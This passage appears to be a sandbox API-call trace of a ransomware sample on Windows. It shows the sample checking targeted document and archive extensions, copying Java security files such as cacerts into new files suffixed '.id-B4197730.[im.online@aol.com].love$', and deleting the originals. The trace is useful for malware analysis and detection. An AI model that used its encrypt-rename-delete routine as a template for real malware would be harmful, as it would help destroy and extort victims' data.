lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.093] lstrlenW (lpString=".jpg") returned 4 [0241.093] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0241.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.093] lstrlenW (lpString=".doc") returned 4 [0241.093] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0241.093] lstrlenW (lpString=".docx") returned 5 [0241.093] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0241.093] lstrlenW (lpString=".pdf") returned 4 [0241.094] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0241.094] lstrlenW (lpString=".xls") returned 4 [0241.094] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0241.094] lstrlenW (lpString=".xlsx") returned 5 [0241.094] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0241.094] lstrlenW (lpString=".ppt") returned 4 [0241.094] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0241.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.094] lstrlenW (lpString=".zip") returned 4 [0241.094] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0241.094] lstrlenW (lpString=".rar") returned 4 [0241.094] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0241.094] lstrlenW (lpString=".bz2") returned 4 [0241.094] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0241.094] lstrlenW (lpString=".7z") returned 3 [0241.094] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0241.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.094] lstrlenW (lpString=".dbf") returned 4 [0241.094] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0241.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.094] lstrlenW (lpString=".1cd") returned 4 [0241.094] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0241.094] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.094] lstrlenW (lpString=".jpg") returned 4 [0241.094] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0241.095] lstrcmpiW (lpString1=".certs", lpString2=".love$") returned -1 [0241.095] lstrlenW (lpString="blacklisted.certs") returned 17 [0241.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0241.097] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=1253) returned 1 [0241.097] CloseHandle (hObject=0x44c) returned 1 [0241.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0241.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0241.097] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.098] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0241.098] GetLastError () returned 0x0 [0241.098] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x4e5, lpOverlapped=0x0) returned 1 [0241.104] WriteFile (in: hFile=0x538, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0241.105] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.105] WriteFile (in: hFile=0x538, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf6, lpOverlapped=0x0) returned 1 [0241.105] SetEndOfFile (hFile=0x538) returned 1 [0241.106] CloseHandle (hObject=0x538) returned 1 [0241.106] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.106] SetEndOfFile (hFile=0x44c) returned 1 [0241.115] CloseHandle (hObject=0x44c) returned 1 [0241.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0241.115] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0241.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.116] lstrlenW (lpString=".doc") returned 4 [0241.116] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0241.116] lstrlenW (lpString=".docx") returned 5 [0241.116] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0241.116] lstrlenW (lpString=".pdf") returned 4 [0241.116] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0241.116] lstrlenW (lpString=".xls") returned 4 [0241.116] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0241.116] lstrlenW (lpString=".xlsx") returned 5 [0241.116] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0241.116] lstrlenW (lpString=".ppt") returned 4 [0241.116] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0241.116] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.116] lstrlenW (lpString=".zip") returned 4 [0241.117] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".rar") returned 4 [0241.117] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".bz2") returned 4 [0241.117] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".7z") returned 3 [0241.117] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0241.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.117] lstrlenW (lpString=".dbf") returned 4 [0241.117] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.117] lstrlenW (lpString=".1cd") returned 4 [0241.117] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.117] lstrlenW (lpString=".jpg") returned 4 [0241.117] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.117] lstrlenW (lpString=".doc") returned 4 [0241.117] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".docx") returned 5 [0241.117] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0241.117] lstrlenW (lpString=".pdf") returned 4 [0241.117] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".xls") returned 4 [0241.117] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".xlsx") returned 5 [0241.117] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0241.117] lstrlenW (lpString=".ppt") returned 4 [0241.117] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.117] lstrlenW (lpString=".zip") returned 4 [0241.117] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0241.117] lstrlenW (lpString=".rar") returned 4 [0241.118] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0241.118] lstrlenW (lpString=".bz2") returned 4 [0241.118] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0241.118] lstrlenW (lpString=".7z") returned 3 [0241.118] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.118] lstrlenW (lpString=".dbf") returned 4 [0241.118] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.118] lstrlenW (lpString=".1cd") returned 4 [0241.118] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0241.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0241.118] lstrlenW (lpString=".jpg") returned 4 [0241.118] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0241.118] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".love$") returned -1 [0241.118] lstrlenW (lpString="cacerts") returned 7 [0241.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0241.119] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=114923) returned 1 [0241.119] CloseHandle (hObject=0x44c) returned 1 [0241.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0241.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.120] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0241.120] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.120] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.120] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0241.121] GetLastError () returned 0x0 [0241.121] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0241.147] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0241.151] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.151] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe2, lpOverlapped=0x0) returned 1 [0241.151] SetEndOfFile (hFile=0x548) returned 1 [0241.151] CloseHandle (hObject=0x548) returned 1 [0241.151] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.151] SetEndOfFile (hFile=0x44c) returned 1 [0241.927] CloseHandle (hObject=0x44c) returned 1 [0241.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.253] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0242.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.424] lstrlenW (lpString=".doc") returned 4 [0242.424] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString=".docx") returned 5 [0242.424] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0242.424] lstrlenW (lpString=".pdf") returned 4 [0242.424] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString=".xls") returned 4 [0242.424] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString=".xlsx") returned 5 [0242.424] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0242.424] lstrlenW (lpString=".ppt") returned 4 [0242.424] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.424] lstrlenW (lpString=".zip") returned 4 [0242.424] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString=".rar") returned 4 [0242.424] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString=".bz2") returned 4 [0242.424] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0242.424] lstrlenW (lpString=".7z") returned 3 [0242.425] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0242.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.425] lstrlenW (lpString=".dbf") returned 4 [0242.425] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0242.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.425] lstrlenW (lpString=".1cd") returned 4 [0242.425] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0242.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.425] lstrlenW (lpString=".jpg") returned 4 [0242.425] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0242.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.425] lstrlenW (lpString=".doc") returned 4 [0242.425] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0242.425] lstrlenW (lpString=".docx") returned 5 [0242.425] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0242.425] lstrlenW (lpString=".pdf") returned 4 [0242.425] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0242.425] lstrlenW (lpString=".xls") returned 4 [0242.425] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0242.425] lstrlenW (lpString=".xlsx") returned 5 [0242.425] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0242.425] lstrlenW (lpString=".ppt") returned 4 [0242.425] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.426] lstrlenW (lpString=".zip") returned 4 [0242.426] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0242.426] lstrlenW (lpString=".rar") returned 4 [0242.426] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0242.426] lstrlenW (lpString=".bz2") returned 4 [0242.426] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0242.426] lstrlenW (lpString=".7z") returned 3 [0242.426] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.426] lstrlenW (lpString=".dbf") returned 4 [0242.426] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.426] lstrlenW (lpString=".1cd") returned 4 [0242.426] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0242.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0242.426] lstrlenW (lpString=".jpg") returned 4 [0242.426] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0242.426] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0242.426] lstrlenW (lpString="local_policy.jar") returned 16 [0242.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0242.548] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=3527) returned 1 [0242.548] CloseHandle (hObject=0x45c) returned 1 [0242.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0242.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.688] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.688] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0242.689] GetLastError () returned 0x0 [0242.689] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xdc7, lpOverlapped=0x0) returned 1 [0242.691] WriteFile (in: hFile=0x53c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0242.692] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.692] WriteFile (in: hFile=0x53c, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf4, lpOverlapped=0x0) returned 1 [0242.692] SetEndOfFile (hFile=0x53c) returned 1 [0242.692] CloseHandle (hObject=0x53c) returned 1 [0242.693] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.693] SetEndOfFile (hFile=0x488) returned 1 [0242.697] CloseHandle (hObject=0x488) returned 1 [0242.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0242.697] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0242.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.698] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.698] lstrlenW (lpString=".doc") returned 4 [0242.698] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0242.698] lstrlenW (lpString=".docx") returned 5 [0242.698] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0242.698] lstrlenW (lpString=".pdf") returned 4 [0242.698] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0242.698] lstrlenW (lpString=".xls") returned 4 [0242.698] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0242.698] lstrlenW (lpString=".xlsx") returned 5 [0242.699] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0242.699] lstrlenW (lpString=".ppt") returned 4 [0242.699] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0242.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.699] lstrlenW (lpString=".zip") returned 4 [0242.699] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0242.699] lstrlenW (lpString=".rar") returned 4 [0242.699] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0242.699] lstrlenW (lpString=".bz2") returned 4 [0242.699] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0242.699] lstrlenW (lpString=".7z") returned 3 [0242.699] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0242.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.699] lstrlenW (lpString=".dbf") returned 4 [0242.699] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0242.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.699] lstrlenW (lpString=".1cd") returned 4 [0242.699] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0242.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.699] lstrlenW (lpString=".jpg") returned 4 [0242.699] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0242.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.699] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.699] lstrlenW (lpString=".doc") returned 4 [0242.699] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0242.699] lstrlenW (lpString=".docx") returned 5 [0242.700] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0242.700] lstrlenW (lpString=".pdf") returned 4 [0242.700] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0242.700] lstrlenW (lpString=".xls") returned 4 [0242.700] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0242.700] lstrlenW (lpString=".xlsx") returned 5 [0242.700] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0242.700] lstrlenW (lpString=".ppt") returned 4 [0242.700] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0242.700] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0242.700] lstrlenW (lpString=".zip") returned 4 [0242.700] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0242.700] lstrlenW (lpString=".rar") returned 4 [0242.700] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0242.700] lstrlenW (lpString=".bz2") returned 4 [0242.700] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0242.700] lstrlenW (lpString=".7z") returned 3 [0242.700] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0242.700] lstrlenW (lpString="C:\\Program 